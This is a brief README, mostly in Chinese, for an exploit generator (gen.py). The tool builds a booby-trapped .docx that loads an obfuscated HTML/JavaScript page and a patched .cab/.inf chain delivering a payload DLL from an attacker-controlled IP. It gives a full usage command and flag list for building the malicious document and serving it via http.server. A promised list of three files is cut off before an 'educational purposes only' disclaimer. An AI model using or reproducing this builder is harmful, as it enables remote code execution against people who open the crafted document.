请先确保运行 setup.sh,因为你会需要一些目录。运行该脚本后,你应该可以通过下面给出的示例运行 gen.py:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
http.server 的位置将在 web 目录中。该目录将包含 3 个文件:-

本仓库仅用于教育目的,不打算在现实环境中用于恶意企图。任何非法使用本仓库的行为,风险和责任完全由使用者自行承担。